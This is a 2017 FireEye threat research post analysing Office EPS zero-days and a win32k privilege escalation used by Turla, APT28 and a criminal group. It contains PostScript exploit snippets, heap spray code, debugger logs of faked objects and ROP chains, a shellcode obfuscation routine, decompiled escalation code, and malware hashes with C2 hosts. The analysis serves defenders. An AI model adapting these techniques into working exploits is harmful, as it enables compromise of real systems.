Threat Research

EPS Processing Zero-Days Exploited by Multiple Threat Actors

May 09, 2017 | by Genwei Jiang, Alex Lanstein, Alex Berry, Ben Read, Dhanesh Kizhakkinan, Greg Macmanus

MALWARE ZERO-DAY

In 2015, FireEye published details about two attacks exploiting vulnerabilities in Encapsulated PostScript (EPS) of Microsoft Office. One was a zero-day and one was patched weeks before the attack launched.

Recently, FireEye identified three new zero-day vulnerabilities in Microsoft Office products that are being exploited in the wild.

At the end of March 2017, we detected another malicious document leveraging an unknown vulnerability in EPS and a recently patched vulnerability in Windows Graphics Device Interface (GDI) to drop malware. Following the April 2017 Patch Tuesday, in which Microsoft disabled EPS, FireEye detected a second unknown vulnerability in EPS.

FireEye believes that two actors – Turla and an unknown financially motivated actor – were using the first EPS zero-day (CVE-2017-0261), and APT28 was using the second EPS zero-day (CVE-2017-0262) along with a new Escalation of Privilege (EOP) zero-day (CVE-2017-0263). Turla and APT28 are Russian cyber espionage groups that have used these zero-days against European diplomatic and military entities. The unidentified financial group targeted regional and global banks with offices in the Middle East. The following is a description of the EPS zero-days, associated malware, and the new EOP zero-day. Each EPS zero-day is accompanied by an EOP exploit, with the EOP being required to escape the sandbox that executes the FLTLDR.EXE instance used for EPS processing.

The malicious documents have been used to deliver three different payloads. CVE-2017-0261 was used to deliver SHIRIME (Turla) and NETWIRE (unknown financially motivated actor), and CVE-2017-0262 was used to deliver GAMEFISH (APT28). CVE-2017-0263 is used to escalate privileges during the delivery of the GAMEFISH payload.

FireEye email and network products detected the malicious documents.

FireEye has been coordinating with the Microsoft Security Response Center (MSRC) for the responsible disclosure of this information. Microsoft advises all customers to follow the guidance in security advisory ADV170005 as a defense-in-depth measure against EPS filter vulnerabilities.

CVE-2017-0261 – EPS *"restore"* Use-After-Free

Upon opening the Office document, the FLTLDR.EXE is utilized to render an embedded EPS image, which contains the exploit. The EPS file is a PostScript program, which leverages a Use-After-Free vulnerability in "*restore*" operand.

From the PostScript Manual: "Allocations in local VM and modifications to existing objects in local VM are subject to a feature called **save** and **restore**, named after the operators that invoke it. **save** and **restore** bracket a section of a PostScript language program whose local VM activity is to be encapsulated. **restore** deallocates new objects and undoes modifications to existing objects that were made since the matching **save**."

As the manual described, the *restore* operator will reclaim memory allocated since the *save* operator. This makes a perfect condition of Use-After-Free, when combined with *forall* operator. Figure 1 shows the pseudo code to exploit the save and restore operation.

```
/leak_proc (
  % uaf_array claimed by operations of alloc_string
  % leaking meta data of strings
  /val exch def
  % save the leaked data
) def
/restore_proc (
  eps_state restore
  alloc_string    % reuse free-ed memory
  % change the proc of forall to leak_proc
  forall_procs 0 leak_proc put
) def
/forall_procs 1 array def
forall_procs 0 restore_proc put
/eps_state save def
/uaf_array 71 array def
% more string operations omitted
uaf_array forall_procs forall
```

Figure 1: Pseudo code for the exploit

The following operations allow the Pseudo code to leak metadata enabling a read/write primitive:

1. forall_proc array is created with a single element of the restore proc
2. The EPS state is *saved* to eps_state
3. uaf_array is created after the save
4. The forall operator loops over the elements of the uaf_array calling forall_proc for each element
5. The first element of uaf_array is passed to a call of restore_proc, the procedure contained in forall_proc
6. restore_proc
   - *restores* the initial state freeing the uaf_array
   - The alloc_string procedure reclaims the freed uaf_array
   - The forall_proc is updated to call leak_proc
7. Subsequent calls by the forall operator call the leak_proc on each element of the reclaimed uaf_array which elements now contain the result of the alloc_string procedure

Figure 2 demonstrates a debug log of the uaf_array being used after being reclaimed.

```
eax=00000000 ebx=00000000 ecx=015115e8 edx=00000000 esi=015115e8 edi=01511228
eip=70460c49 esp=0021ef4c ebp=0021efc0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
EPSIMP32!SetFilterPref+0x5723:
70460c49 8b4db8          mov     ecx,dword ptr [ebp-48h] ss:0023:0021ef78=00030000
0:000> dd ebp-48 l4          // uaf_array
0021ef78  00030000 00000000 0021efb0 015172a0
0:000> d poi(015172a0) lc    // uaf_array obj
0121c2f0  70435788 015172a0 0121a368 baadf000
0121c300  00000001 00000003 0121a2f8 baadf000
0121c310  01511228 0151729c 00000000 00000047
0:000> d poi(0151729c ) lc  // uaf_array buf
0121c338  70436b0c 0151729c 0121a364 baadf000
0121c348  00000001 00000006 0121a2f8 baadf000
0121c358  01511228 00000047 0121c380 abababab
0:000> dd 0121c380  lc       // uaf_array item buffers
0121c380  00000000 00000000 baadf00d baadf00d
0121c390  00000000 00000000 baadf00d baadf00d
0121c3a0  00000000 00000000 baadf00d baadf00d
0:000> bp epsimp32+30d37 ".echo calling deferred_exec"
0:000> g
calling deferred_exec
eax=0021ef9c ebx=00000000 ecx=01511228 edx=00000000 esi=0121c390 edi=0021ef4c
eip=70460d37 esp=0021ef48 ebp=0021efc0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
EPSIMP32!SetFilterPref+0x5811:
70460d37 e8d897ffff      call    EPSIMP32+0x2a514 (7045a514)
0:000> p                     // step over the 1st forall call
(b20.64c): C++ EH exception - code e06d7363 (first chance)
(b20.64c): C++ EH exception - code e06d7363 (first chance)
eax=00000000 ebx=00000000 ecx=67f7bc8f edx=01510174 esi=0121c390 edi=0021ef4c
eip=70460d3c esp=0021ef4c ebp=0021efc0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
EPSIMP32!SetFilterPref+0x5816:
70460d3c 8b45cc          mov     eax,dword ptr [ebp-34h] ss:0023:0021ef8c=0121c2f0
0:000> dd 0121c2f0  lc       // uaf_array obj overwritten
0121c2f0  00000055 ffffffff 00000058 00000000
0121c300  ffffffff ffffffff ffffffff ffffffff
0121c310  ffffffff ffffffff 00030000 00000000
0:000> dd 0121c338  lc
0121c338  00000000 00000000 00000000 00000000
0121c348  00000000 00000000 00000000 00000000
0121c358  00000000 00000000 00000000 00000000
0:000> dd 0121c380  lc
0121c380  00000000 00000005 000000e8 00000000
0121c390  ffffffff ffffffff ffffffff ffffffff
0121c3a0  ffffffff ffffffff ffffffff ffffffff
```

Figure 2: uaf_array reclaimed debug log

By manipulating the operations after the *save* operator, the attacker is able to manipulate the memory layouts and convert the Use-After-Free to create a read/write primitive. Figure 3 shows the faked string, with length set as 0x7fffffff, base as 0.

```
0:000> d 008d3a04 l4
008d3a04  00000500 00000000 00000000 008d39a4 // 0x500 String type
0:000> d poi(008d39a4)
008d39a8  00000000 00000000 00000000 00000000
008d39b8  00000000 00000000 00000000 00000000
008d39c8  00000000 008d39d8 00000000 7fffffff  // length 0x7fffffff
008d39d8  008d39dc 00000000 00000000 00000000
008d39e8  00000000 00000000 00000000 00000000
008d39f8  00000000 00000000 7fffffff 00000500
008d3a08  00000000 00000000 008d39a4 ffffffff
008d3a18  ffffffff ffffffff ffffffff ffffffff
0:000> d poi(008d39d8 )
008d39dc  00000000 00000000 00000000 00000000
008d39ec  00000000 00000000 00000000 00000000
008d39fc  00000000 7fffffff 00000500 00000000  // base @ 0
008d3a0c  00000000 008d39a4 ffffffff ffffffff
008d3a1c  ffffffff ffffffff ffffffff ffffffff
008d3a2c  ffffffff ffffffff ffffffff ffffffff
008d3a3c  ffffffff ffffffff 00000000 337c853d
008d3a4c  0b0e338b 0909090a 6c786a68 61687869
```

Figure 3: Faked String Object

Leveraging the power of reading and writing arbitrary user memory, the EPS program continues by searching for gadgets to build the ROP chain, and creates a *file* object. Figure 4 demonstrates the faked file object in memory.

```
0:000> dd 02c0c840
02c0c840  00000900 00000000 5cdc9227 02c86ff0 // 0x900 File type
0:000> dds poi(02c86ff0) l10    // ROP
02c87022  00000000
02c87026  67aec86c EPSIMP32+0xc86c  // pop esi / ret
02c8702a  67b0a87e EPSIMP32+0x2a87e // xchg eax,esp /
                                    // add byte ptr [eax], al /
                                    // add byte ptr [eax], al /
                                    // pop esi / ret
02c8702e  67aeb6d5 EPSIMP32+0xb6d5  // ret 0C
02c87032  758d2dd5 kernel32!VirtualProtectStub
02c87036  00000000
02c8703a  00000000
02c8703e  00000000
02c87042  02cd0048
02c87046  02cd0048
02c8704a  00026a23
02c8704e  00000040
02c87052  02c871f0
02c87056  00000000
02c8705a  00000000
02c8705e  00000000
```

Figure 4: Fake File Object, with ROP

By calling *closefile* operand with the faked file object, the exploit pivots to the ROP and starts the shellcode. Figure 5 shows part of the disassembler of *closefile* operand handler.

```
.text:100360EC               loc_100360EC:                         ; CODE XREF: op_closefile+48↑j
.text:100360EC 8B 4D FC                      mov     ecx, [ebp+var_4]
.text:100360EF 8B 01                         mov     eax, [ecx]
.text:100360F1 FF 50 08                      call    dword ptr [eax+8] ; 67b0a87e EPSIMP32+0x2a87e
.text:100360F1                                                     ;   xchg eax,esp
.text:100360F1                                                     ;   add byte ptr [eax], al
.text:100360F1                                                     ;   add byte ptr [eax], al
.text:100360F1                                                     ;   pop esi
.text:100360F1                                                     ;   ret
```

Figure 5: Stack Pivot disassembler of closefile

Once execution has been achieved, the malware uses the ROP chain to change the execution protection of the memory region containing the shellcode. At this point, the shellcode is running within a sandbox that was executing FLTLDR.EXE and an escalation of privilege is required to escape that sandbox.

FireEye detected two different versions of the EPS program exploiting this vulnerability. The first, st07383.en17.docx, continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME. SHIRIME is one of multiple custom JavaScript implants used by Turla as a first stage payload to conduct initial profiling of a target system and implement command and control. Since early 2016, we have observed multiple iterations of SHIRIME used in the wild, having the most recent version (v1.0.1004) employed in this zero-day

The second document, Confirmation_letter.docx, continues by utilizing 32 or 64 bit versions of CVE-2016-7255 to escalate privilege before dropping a new variant of the NETWIRE malware family. Several versions of this document were seen with similar filenames.

The EPS programs contained within these documents contained different logic to perform the construction of the ROP chain as well as build the shellcode. The first took the additional step of using a simple algorithm, shown in Figure 6, to obfuscate sections of the shellcode.

```
key = 0x65
for byte in data:
    out+=chr(byte ^ key)
    key=(key+0x0D) & 0xFF
```

Figure 6: Shellcode obfuscation algorithm

CVE-2017-0262 – Type Confusion in EPS

The second EPS vulnerability is a type confused procedure object of forall operator that can alter the execution flow allowing an attacker to control values onto the operand stack. This vulnerability was found in a document named "Trump's_Attack_on_Syria_English.docx".

Before triggering the vulnerability, the EPS program sprays the memory with predefined data to occupy specific memory address and facilitate the exploitation. Figure 7 demonstrates the PostScript code snippet of spraying memory with a string.

```
/A31 16#8FEFF string
<00d0800d30d0800d000000000200000010d0800d020000003cd0800d000500000000000000000000005cd0
800d000003000000000000000000020d0800d3cd0800d6cd0800d00000000f0ffff7f50d0800d00000000f1fff
f7f> A8 def
 500 {
  A31 16#8FEFF string copy pop
 } repeat
```

Figure 7: PostScript code snippet of spray

After execution, the content of string occupies the memory at address 0x0d80d000, leading to the memory layout as shown in Figure 8. The exploit leverages this layout and the content to forge a procedure object and manipulate the code flow to store predefined value, in yellow, to the operator stack.

```
1:010> d poi(0d80d020)
0d80d000  00000000 00000000 00000000 00000000
0d80d010  00000000 00000000 00000000 00000000
0d80d020  0d80d000 0d80d030 00000000 00000002
0d80d030  0d80d010 00000002 0d80d03c 00000500
0d80d040  00000000 00000000 0d80d05c 00030000
0d80d050  00000000 00000000 0d80d020 0d80d03c
0d80d060  0d80d06c 00000000 7ffffff0 0d80d050
0d80d070  00000000 7ffffff1 00000000 00000000
```

Figure 8: Memory layout of the sprayed data

After spraying the heap, the exploit goes on to call a code statement in the following format: *1 array 16#D80D020 forall*. It creates an Array object, sets the procedure as the hex number 0xD80D020, and calls the *forall* operator. During the operation of the forged procedure within *forall* operator, it precisely controls the execution flow to store values of the attacker's choices to operand stack. Figure 9 shows the major code flow consuming the forged procedure.

```
.text:1002A51C  mov     eax, [edx+0Ch]  ; eax = 0x0d80d020
.text:1002A51F  mov     eax, [eax]      ; eax = 0x0d80d000
.text:1002A521  push    ebx
.text:1002A522  mov     ebx, [eax+2Ch]  ; ebx = 2, controls how many data store to
stack
......
.text:1001203F  mov     ecx, [esi+24h]  ; ecx = 0x0d80d030
.text:10012042  mov     ecx, [ecx]      ; ecx = 0x0d80d010
.text:10012044  pop     esi
.text:10012045  cmp     eax, [ecx+24h]  ; eax = 0, [ecx+24h] = 2
.text:10012048  jge     short loc_10012054
.text:1001204A  shl     eax, 4
.text:1001204D  add     eax, [ecx+28h]  ; eax = 0x0d80d03c
......
.text:1002A22F  mov     eax, [esi+4]    ; esi = 0d80d03c
.text:1002A232  shr     eax, 8          ; eax = 0
.text:1002A235  xor     ebx, ebx
.text:1002A237  not     al
.text:1002A239  inc     ebx
.text:1002A23A  test    bl, al
.text:1002A23C  jnz     loc_1002A2FA    ; jump
......
.text:1002A2FA  mov     ecx, [edi+0E4h]
.text:1002A300  sub     esp, 10h
.text:1002A303  mov     edi, esp
.text:1002A305  push    dword ptr [ecx+4]
.text:1002A308  movsd                   ; esi = 0d80d03c, 0d80d04c(2nd loop)
.text:1002A309  movsd
.text:1002A30A  movsd
.text:1002A30B  movsd
.text:1002A30C  call    store_to_stack
```

Figure 9: Consuming the forged procedure

After execution of *forall*, the contents on the stack are under the attacker's control. This is s shown in Figure 10.

```
1:011> dd 005416b8 l4       // operand stack ptr
005416b8  012e29b8 00000003 0000005b 00000000
1:011> d poi(005416b8) lc   // values in stack
012e29b8  00000000 00000000 baadf00d baadf00d
012e29c8  00000500 00000000 00000000 0d80d05c
012e29d8  00030000 00000000 00000000 0d80d020
```

Figure 10: Stack after the forall execution

Since the operand stack has been manipulated, the subsequent operations of *exch* defines objects based on the data from the manipulated stack, as shown in Figure 11.

```
/A19 exch def      % A19 = array,  0d80d04c 00030000 00000000 00000000 0d80d020
/A18 exch def      % A18 = string, 0d80d03c 00000500 00000000 00000000 0d80d05c
```

Figure 11: Subsequent code to retrieve data from stack

The A18 is a string type object, which has a length field of 0x7ffffff0, based from 0. Within memory, the layout as shown in Figure 12.

```
1:011> dd poi(0d80d05c)      // A18 RW primitive string
0d80d03c  00000500 00000000 00000000 0d80d05c
0d80d04c  00030000 00000000 00000000 0d80d020
0d80d05c  0d80d03c 0d80d06c 00000000 7ffffff0 // length 7ffffff0
0d80d06c  0d80d050 00000000 7ffffff1 00000000
1:011> d poi(0d80d06c )
0d80d050  00000000 00000000 0d80d020 0d80d03c
0d80d060  0d80d06c 00000000 7ffffff0 0d80d050
0d80d070  00000000 7ffffff1 00000000 00000000 // base 0
```

Figure 12: A18 String Object

The A19 is an array type object, with member values all purposely crafted. The exploit defines another array and puts it into the forged array A19. By performing these operations, it puts the newly created array object pointer into A19. The exploit can then directly read the value from the predictable address, 0xD80D020 + 0x38, and leak its vftable and infer module base address of EPSIMP32.flt. Figure 13 shows code snippets of leaking EPSIMP32 base address.

```
/A16 A12 array def
A19 1 A16 put
/A9 16#D80D020 16#38 add A17 A17 def    % A9 = read32(read32(0xD80D020+0x38))
A9
/A36 exch A17 A29 def   % get_mod_base(read32(A9)), A36 = EPSIMP32 modbase
```

Figure 13: Code snippet of leaking module base

Figure 14 shows the operand stack of calling *put* operator and the forged Array A19 after finishing the *put* operation.

```
0:000> dd poi(ebx) l10  // operand stack
012e29a8  00000000 00000000 baadf00d baadf00d
012e29b8  00030000 00000000 00000000 0d80d020 // A19
012e29c8  00000003 00000000 01376058 00000001 // 1, index
012e29d8  00030000 00000000 00000300 012fb748 // A16

0:000> dd 0d80d020    // after put
0d80d020  0d80d000 0d80d030 00000000 00000002
0d80d030  0d80d010 00000002 0d80d03c 00000500
0d80d040  00000000 00000000 0d80d05c 00030000
0d80d050  00000000 00000300 012fb748 0d80d03c  // 0d80d020 + 38
0:000> d poi(012fb748) // array obj
01314438  63585788 012fb748 00000000 baadf000  // leaked vftable
01314448  00000000 00000003 00000000 baadf000
01314458  00351228 012fb744 00000000 000061a9
```

Figure 14: Array A19 after the put operation

By leveraging the RW primitive string and the leaked module base of EPSIMP32, the exploit continues by searching ROP gadgets, creating a fake file object, and pivoting to shellcode through the *bytesavailable* operator. Figure 15 shows the forged file type object and disassembling of pivoting to ROP and shellcode.

```
eax=01353040 ebx=013516b8 ecx=00000010 edx=001ff700 esi=00000000 edi=01353040
eip=62325fee esp=001ff768 ebp=001ff790 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
EPSIMP32!SetFilterPref+0xaac8:
62325fee 837b0401        cmp     dword ptr [ebx+4],1  ds:0023:013516bc=00000002
0:000> dd poi(ebx) l8
012929b8  00000000 00000000 baadf00d baadf00d
012929c8  00000900 00000000 0129dd50 012d4898     // forged file type object


eax=00000001 ebx=001015e8 ecx=001015e8 edx=00000001 esi=00000000 edi=00101228
eip=6514604a esp=0028f1ec ebp=0028f218 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
EPSIMP32!SetFilterPref+0xab24:
6514604a 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:0023:0028f214=012d4898
0:000>
eax=00000001 ebx=001015e8 ecx=012d4898 edx=00000001 esi=00000000 edi=00101228
eip=6514604d esp=0028f1ec ebp=0028f218 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
EPSIMP32!SetFilterPref+0xab27:
6514604d 8b01            mov     eax,dword ptr [ecx]  ds:0023:012d4898=012d489c
0:000>
eax=012d489c ebx=001015e8 ecx=012d4898 edx=00000001 esi=00000000 edi=00101228
eip=6514604f esp=0028f1ec ebp=0028f218 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
EPSIMP32!SetFilterPref+0xab29:
6514604f ff5010          call    dword ptr [eax+10h]  ds:0023:012d48ac=65161f6f
0:000> u 65161f6f            // pivot to rop
EPSIMP32!SetFilterPref+0x26a49:
65161f6f 94              xchg    eax,esp
65161f70 c3              ret
0:000> dds poi(012d4898)                              // ROP
012d489c  622fb6d5 EPSIMP32+0xb6d5                    // c20c00 ret 0Ch
012d48a0  62341f70 EPSIMP32!SetFilterPref+0x26a4a // c3     ret
012d48a4  baadf00d
012d48a8  00000000
012d48ac  62341f6f EPSIMP32!SetFilterPref+0x26a49 // 94 c3  xchg eax, esp / ret
012d48b0  77695ae0 ntdll!ZwProtectVirtualMemory
012d48b4  012d4a98
012d48b8  ffffffff
012d48bc  012d4998
012d48c0  012d499c
012d48c4  00000040
012d48c8  012d49a0
012d48cc  00000000
0:000> u 012d4a98                                     // schellcode
012d4a98 55              push    ebp
012d4a99 8bec            mov     ebp,esp
012d4a9b 81ece0090000    sub     esp,9E0h
012d4aa1 e800000000      call    012d4aa6
012d4aa6 8f45ec          pop     dword ptr [ebp-14h]
012d4aa9 c745fc71020000  mov     dword ptr [ebp-4],271h
012d4ab0 c745e800000000  mov     dword ptr [ebp-18h],0
012d4ab7 eb09            jmp     012d4ac2
```

Figure 15: Pivots to ROP and Shellcode

The shellcode continues by using a previously unknown EOP, CVE-2017-0263, to escalate privileges to escape the sandbox running FLTLDR.EXE, and then drop and execute a GAMEFISH payload. Only a 32-bit version of CVE-2017-0263 is contained in the shellcode.

CVE-2017-0263 – win32k!xxxDestroyWindow Use-After-Free

The EOP Exploit setup starts by suspending all threads other than the current thread and saving the thread handles to a table, as shown in Figure 16.

```
currPID = GetCurrentProcessId();
currTID = GetCurrentThreadId();
hSnapshot = CreateToolhelp32Snapshot(4, 0);   // TH32CS_SNAPTHREAD
result = count;
*count = 0;
if ( hSnapshot != -1 )
{
  threadEntry_size = 28;
  if ( Thread32First(hSnapshot, &threadEntry_size) )
  {
    do
    {
      if ( threadEntry_size >= 0x10
        && threadEntry_th32ThreadID != currTID
        && threadEntry_th32OwnerProcessID == currPID )
      {
        threadHandle = OpenThread(0x1F03FF, 0, threadEntry_th32ThreadID);
        if ( threadHandle )
        {
          SuspendThread(threadHandle);
          *(threadTable + 4 * (*count)++) = threadHandle;
        }
      }
      threadEntry_size = 28;
    }
    while ( Thread32Next(hSnapshot, &threadEntry_size) && *count < 0x1000u );
  }
  result = CloseHandle(hSnapshot);
```

Figure 16: Suspending Threads

The exploit then checks for OS version and uses that information to populate version specific fields such as token offset, syscall number, etc. An executable memory area is allocated and populated with kernel mode shellcode as wells as address information required by the shellcode. A new thread is created for triggering the vulnerability and further control of exploitation.

The exploit starts by creating three PopupMenus and appending menus to them, as shown in Figure 17. The exploit creates 0x100 windows with random classnames. The User32!HMValidateHandle trick is used to leak the tagWnd address, which is used as kernel information leak throughout the exploit.

```
if ( !popupMenus[0] )
{
  for ( i = 0; i < 3; ++i )
  {
    cbSize = 0;
    fMask = 0;
    dwStyle = 0;
    cyMax = 0;
    hbrBack = 0;
    dwContextHelpID = 0;
    dwMenuData = 0;
    popupMenus[i] = CreatePopupMenu();
    cbSize = 28;
    fMask = 0x10;                            // MIM_STYLE
    dwStyle = 0x70000000;                    // MNS_AUTODISMISS|MNS_DRAGDROP|MNS_MODELESS
    SetMenuInfo(popupMenus[i], &cbSize);
  }
  for ( i = 0; i < 3; ++i )
  {
    if ( i >= 2 )
      AppendMenuA(popupMenus[i], 0x410, 0, &lpNewItem);// MF_POPUP
    else
      AppendMenuA(popupMenus[i], 0x410, dword_100041E0[i], &lpNewItem);
  }
```

Figure 17: Popup menu creation

RegisterClassExW is then used to register a window class "Main_Window_Class" with a WndProc pointing to a function, which calls DestroyWindow on window table created by EventHookProc, explained later in the blog. This function also shows the first popup menu, which was created earlier.

Two extra windows are created with class name as "Main_Window_Class". SetWindowLong is used to change WndProc of second window, wnd2, to a shellcode address. An application defined hook, WindowHookProc, and an event hook, EventHookProc, are installed by SetWindowsHookExW and SetWinEventHook respectively. PostMessage is used to post 0xABCD to first window, wnd1.

The EventHookProc waits for EVENT_SYSTEM_MENUPOPUPSTART and saves the window's handle to a table. WindowHookProc looks for **SysShadow** classname and sets a new WndProc for the corresponding window. Inside this WndProc, NtUserMNDragLeave syscall is invoked and SendMessage is used to send 0x9f9f to wnd2, invoking the shellcode shown in Figure 18.

```
MakeSyscall(NtUserMNDragLeave, 0, 0);
ret = SendMessageW(wnd2, 0x9F9F, menutagWnd_off, 0);// Trigger shellcode
HIDWORD(agCount) = ret == 0x9F9F;
if ( ret != 0x9F9F )
  PostMessageW(wnd1, 0xABCD, 0, 0);
```

Figure 18: Triggering the shellcode

The Use-After-Free happens inside WM_NCDESTROY event in kernel and overwrites wnd2's tagWnd structure, which sets bServerSideWindowProc flag. With bServerSideWindowProc set, the user mode WndProc is considered as a kernel callback and will be invoked from kernel context – in this case wnd2's WndProc is the shellcode.

The shellcode checks whether the memory corruption has occurred by checking if the code segment is not the user mode code segment. It also checks whether the message sent is 0x9f9f. Once the validation is completed, shellcode finds the TOKEN address of current process and TOKEN of system process (pid 4). The shellcode then copies the system process' token to current process, which elevates current process privilege to SYSTEM.

Conclusion

EPS processing has become a ripe exploitation space for attackers.

FireEye has discovered and analyzed two of these recent EPS zero-days with examples seen before and after Microsoft disabled EPS processing in the April 2017 Patch Tuesday. The documents explored utilize differing EPS exploits, ROP construction, shellcode, EOP exploits and final payloads. While these documents are detected by FireEye appliances, users should exercise caution because FLTLDR.EXE is not monitored by EMET.

Russian cyber espionage is a well-resourced, dynamic threat

The use of zero-day exploits by Turla Group and APT28 underscores their capacity to apply technically sophisticated and costly methods when necessary. Russian cyber espionage actors use zero-day exploits in addition to less complex measures. Though these actors have relied on credential phishing and macros to carry out operations previously, the use of these methods does not reflect a lack of resources. Rather, the use of less technically sophisticated methods – when sufficient – reflects operational maturity and the foresight to protect costly exploits until they are necessary.

A vibrant ecosystem of threats

CVE-2017-0261's use by multiple actors is further evidence that cyber espionage and criminal activity exist in a shared ecosystem. Nation state actors, such as those leveraging CVE-2017-0199 to distribute FINSPY, often rely on the same sources for exploits as criminal actors. This shared ecosystem creates a proliferation problem for defenders concerned with either type of threat.

CVE-2017-0261 was being used as a zero-day by both nation state and cyber crime actors, and we believe that both actors obtained the vulnerability from a common source. Following CVE-2017-0199, this is the second major vulnerability in as many months that has been used for both espionage and crime.

MD5	Filename	C2 Host
2abe3cc4bff46455a945d56c27e9fb45	Confirmation_letter.docx.bin (NETWIRE)	84.200.2.12
e091425d23b8db6082b40d25e938f871	Confirmation_letter.docx (NETWIRE)	138.201.44.30
006bdb19b6936329bffd4054e270dc6a	Confirmation_letter_ACM.docx (NETWIRE)	185.106.122.113
15660631e31c1172ba5a299a90938c02	st07383.en17.docx (SHIRIME)	tnsc.webredirect.org
f8e92d8b5488ea76c40601c8f1a08790	Trump's_Attack_on_Syria_English.docx (GAMEFISH)	wmdmediacodecs.com

Table 1: Source Exploit Documents

CVE #	Usage
CVE-2017-0261	EPS "restore" Use-After-Free zero-day
CVE-2017-0262	EPS Type Confusion zero-day
CVE-2017-0263	EOP used with CVE-2017-0262 to deploy GAMEFISH Payload
CVE-2016-7255	EOP used with CVE-2017-0261 to deploy NETWIRE Payload
CVE-2017-0001	EOP used with CVE-2017-0261 to deploy SHIRIME Payload

Table 2: CVEs related to these attacks

Acknowledgements

iSIGHT Intelligence Team, FLARE Team, FireEye Labs, Microsoft Security Response Center (MSRC).

< PREVIOUS POST   NEXT POST >

Recent Posts
17 Mar 2020
Six Facts about Address Space Layout Randomization on Windows >
16 Mar 2020
They Come in the Night: Ransomware Deployment Trends >
09 Mar 2020
Crescendo: Real Time Event Viewer for macOS >

RSS FEED: STAY CONNECTED